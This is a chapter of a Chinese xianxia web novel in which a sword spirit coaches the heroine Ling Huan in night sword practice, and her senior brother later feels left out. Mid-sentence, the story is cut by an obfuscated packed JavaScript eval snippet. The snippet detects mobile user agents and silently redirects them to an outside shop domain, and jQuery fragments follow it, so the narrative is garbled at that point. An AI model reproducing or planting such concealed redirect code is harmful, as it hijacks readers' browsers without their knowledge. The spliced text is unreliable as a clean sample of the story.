合欢宗以合欢道立派,剑道一途在八大宗门里排不上号。
门中收藏的剑法谱本相对于合欢道秘法来说就不多,千年前魔族动乱的时候又烧过一轮,连索引都不剩,如今品阶最高的惊鸿剑法也不过是中等偏上的水准。
凌欢用了三年时间,将这套剑法从头到尾吃了个透,又将门中其余几部剑法一并学完,便再无新东西可练了。
藏月看在眼里,心中已经在盘算另一件事。
修仙界没有规定一个人只能拜一个师父。
各人有所长,有所短,剑道并非她所精。
凌欢若是只靠着合欢宗这点家底,早晚要碰到天花板。
她想给凌欢再找一个剑道上的先生。
这话她还没有跟凌欢提,光是确定人选都够让她头疼的了。
不能是大宗门的长老宗主,毕竟凌欢将来要接手合欢宗,人家肯定不会把机密剑法倾囊相授。
排得上号的散修要么脾气古怪不好接近,要么常年云游找不到人影,还得再斟酌。
辛暮带着几个新入门的弟子去南边的一处秘境历练,已经走了十天。
夜里,凌欢独自去后山的小教场上练剑。
这小教场是她自己拾掇出来的。
离梧桐峰不远,在一片竹林后面,地面平整,四周安静,她晚上睡不着的时候就会来这里练剑。
今晚月色很好,把教场上的石板照得泛白。
凌欢握着练习剑,正把《惊鸿剑法》第三式拆开了练。剑锋划过空气,发出极细的破风声。
忽然,虚海深处有什么东西动了一下。
凌欢手上的动作一顿。
要不是这久违的感觉提醒,她都快忘了虚海里还有一把溯光剑。
赶紧撤开虚海的屏障,给溯光开了个“窗”。
一道淡金色的光从她眉心处窜了出来,在月光下迅速凝出人形。
广袖长袍,金发垂腰,一张脸在月色下好看得不像是真人。
溯光站在她面前,四下看了看,伸了个懒腰。
“这一觉睡得真舒服。”他活动了一下脖子,看向凌欢,“你怎么大半夜的在练剑?”
勤能补拙是给废柴打鸡血用的,像长曦那样的天之骄子,就不需要日以继夜的在这里死练剑招。
凌欢的剑尖垂在地上,嘴唇动了动,不知道该说什么。
上一次溯光出现,还是三年前。
他得知长曦已死之后就缩回剑里自闭了,任她怎么叫都不理。现在他又突然冒出来,神态轻松,像个没事人似的。
他……又忘了?
还是已经接受了长曦已死的事实?
凌欢不敢多嘴。
上次她就是说了实话,结果把人刺激得自闭了三年。
这回她学聪明了,溯光不主动提,她绝不开口。
气氛尴尬一瞬,她默默地收回视线,继续练方才那招。
溯光盘腿飘在半空中,托着下巴看她练。
看着看着,眉头就开始往一块皱。
凌欢全然沉浸在自己的世界里,注意力全在剑锋之上,没看到溯光越来越嫌弃的表情。
第四式起手,剑锋上扬,脚下步伐转换,回身斜刺。
溯光终于忍不住了。
“停停停。”
他从半空中落下来,走到她面前,用一种“人怎么能菜成这样”的眼神上下扫了她一遍。
“剑都到了人还没转过来,你这是要捅自己还是捅别人?”
凌欢刚想开口解释,忽然感觉到一股外力覆上了她握剑的手。
不是实体的触感——溯光没有实体——是一种极细微的灵力牵引,像有一层极薄的丝绢裹在她手腕和手指上,引导着她的动作。
她的手臂被那股力量带着微微抬高了半寸,手腕的角度也跟着调整了。
脚下不由自主地转了半步,腰身顺势回旋,剑锋在空中划出一道比方才利落得多的弧线。
凌欢愣了。
她的手脚好像不太听自己使唤了,但又没有完全失去控制。
准确地说,如果她想,她随时可以挣脱那股引导,重新接管自己的身体。
但如果不挣扎,溯光就能带着她把动作做出来。
她偏过头去看溯光。
金发男人贴得极近。
他的胸膛几乎贴着她的后背,一只手从她肩头绕过,虚虚地覆在她握剑的手背上,另一只手按在她腰侧,正在替她调整重心的位置。
他的下巴就在她耳边,凌欢甚至能看见他衣袖上那些金色光丝的流动轨迹。
这种距离让她有些不自在。
但溯光脸上什么表情都没有,依旧是那副瞧不起人的嫌弃样子,显然只是在认真教学。
凌欢的目光往下落了一点。
溯光的手上戴着一枚戒指,戴在右手中指上,是一个简简单单的环,没有任何花纹和镶嵌。
但颜色很特别,是极淡的浅金色,在月光下泛着一层朦朦胧胧的光。
他身上没有任何饰品,腰间不佩玉,发间不簪冠,唯独戴了这么一枚戒指。
“看什么呢?看剑!”
溯光的声音在她耳边炸开。
凌欢赶紧收回目光,把注意力重新放到剑招上。
溯光带着她做完了第四式,又倒回去从头开始。
他不是简单地带着她依样画葫芦,而是在拆解剑招。
每一个动作被拆到最细的关节,哪块肌肉该发力,哪处关节该放松,重心什么时候换,灵力从哪条灵脉走——他全都了然于胸。
凌欢甚至怀疑他是不是早就学过这惊鸿剑法。
既然怀疑了,她也就坦然问出来。
溯光发出一声不屑的轻嗤:“就这小孩子玩的东西,还用得着学?”
他只需要看一遍凌欢不甚标准的动作,脑海里就已经把整套剑法还原成了最原始的招式拆解图。
凌欢:“……”
您厉害。
亏她还暗戳戳的想着,最近她练剑小有成就,师尊都夸她进步飞快,想着超级不经意的在溯光面前露一手,好让溯光看看,她才没有他说的那么废。
一套完整的剑法练完,凌欢的后背已经出了一层薄汗。
不是累的,是被溯光的眼神给盯的。
溯光松开灵力牵引,飘回半空中,重新托着下巴看她。
这小丫头应该还在消化刚才的要领,站在原地愣愣的,衣领歪了都不知道整。
嫌弃还是嫌弃的。
但他没有再开口吐槽。
因为他发现这个小废柴确实有点悟性。
刚才那些动作他只带着做了一遍,她自己再练的时候就已经能纠正个七八成。
这种能力放在千年前也算得上不错了。
当然跟他家曦宝还是没法比。
不过嘛……再练个百八十年,勉强也能配得上他这把剑。
凌欢收了剑,抬头看向溯光。
月光下溯光手上的圆环流光溢彩。
她犹豫了一下,伸手指了指。
“那个……你手上的戒指是怎么来的呀?”
剑灵不是没有实体吗?怎么还能戴饰品?
能戴饰品的话,以溯光这骚包的性格,怎么看都不会只戴一件吧……
溯光愣了一下。
他的目光落到自己右手中指上,那枚浅金色的素环在月光下微微发着光。
凌欢见他不说话,赶紧又补了一句:“我只是见它好看,又认不出材质,所以有点好奇。你要是不想说就算了,当我没问。”
溯光抬起手,盯着那枚戒指看了很久。
然后烦躁的叉起腰,挠挠头。
他想不起来了。
这枚戒指不出意外的话应该是在长曦身边时得到的,但是关于上一任主人的记忆在他脑海
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17596226|205456||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
中已经成了碎片,丢的丢,散的散。
戒指的来历自然也就不得而知。
但心里有一个声音在告诉他——这东西非常重要。
重要到他即便忘了它是怎么来的,也绝不肯把它从手指上摘下来。
……
辛暮是傍晚回来的。
他带出去的那几个弟子虽然灰头土脸但完好无损,个个收获颇丰。他把人交还给各自的师父,便径直去了后山。
后山的小教场上,凌欢正在练剑。
辛暮站在竹林边上看了片刻,没有马上出声。
她练的是一套全新的剑招,剑路走的是轻灵迅疾的路子,比她之前的风格多了一层锐利。招式之间的衔接极流畅,没有丝毫滞涩。
辛暮的目光微微收紧。
他走的时候,凌欢还在对着惊鸿剑法第七式发愁。现在这套剑法比惊鸿难得多,她却已经能从头到尾流畅地练下来了。
“欢儿。”
凌欢回过头,看到辛暮站在竹林边上,先是愣了一下,脸上骤然绽开笑意,朝他跑过来。
“师兄你回来啦!”
辛暮接住她,伸手把她鬓边被汗打湿的碎发拢到耳后。
“剑法进步很快。”他说,“母亲给你请了新的剑道先生?”
“不是。”凌欢摇摇头,语气里带着点小小的得意,“溯光最近睡醒了,偶尔指导我。”
她说着把练习剑插回剑鞘,又补了一句:“不过他不是每天都出来,得看他心情。但他确实好厉害,我练了小半个月都没弄明白的那几处,他看了一眼就指出来了,不愧是千年剑灵。”
辛暮默默听着没说话,像是有点走神。
等凌欢叽叽喳喳说完了,才发现他眼底有一层极淡的暗影。
“怎么没跟我说?”男人的声音有些低哑。
凌欢眨了眨眼,反应了一下才明白他在问什么。
走的时候辛暮确实说过,有什么事就给他发通讯符。
修仙界的通讯符是一对一的,需要两人先缔结一次契约,然后再发的时候就能通过契约定位对方的位置。
但有一些秘境自带屏障,符纸到了门口就会现形掉落。
“你带着师弟师妹在秘境里,要么收不到通讯符,要么就在忙。这种小事我要是还发通讯符给你,岂不是惹人烦?”
她说完便转过身去剑架边放剑,没有注意到辛暮的表情。
辛暮站在原地,手垂在身侧,手指微微拢了拢。
他不怕她发通讯符。
他既然专程说了让她发,正是因为此次去的秘境并没有隔绝屏障。
不管他在干什么,哪怕是正在和妖兽正面交锋,收到她的传讯他也一定会滕出手来接。
他怎么会觉得她烦呢。
他只会难过——难过她有什么事情的时候,第一个想分享的人不是他。
他希望她什么都跟他说。
练剑遇到瓶颈也好,溯光又闹脾气了也好,晚上睡不着也好。
哪怕只是路边看见一朵开得好看的花,她愿意发通讯符告诉他,他都会放下手里的事认真看完。
他甚至希望凌欢因为他没有及时回复而跟他生气闹一场。
可她竟然觉得那是“惹人烦”。
辛暮把到了嘴边的话又咽了回去。他知道这不是凌欢的问题。
她没有情魄,无法感知别人的情绪,也无法产生那种“想把所有事情都告诉某个人”的冲动。
她不是不想依赖他,是不会。
她学不会。
既然如此,他主动一些又何妨。
他走上前去,从她手里接过那几把要擦的练习剑,替她擦了。
“下次溯光再指导你,跟我说一声。”他把剑插回剑架,声音和平时一样,“我也想看看千年剑灵到底有多厉害。”
凌欢歪头想了想,觉得这个要求很合理,便点头应了。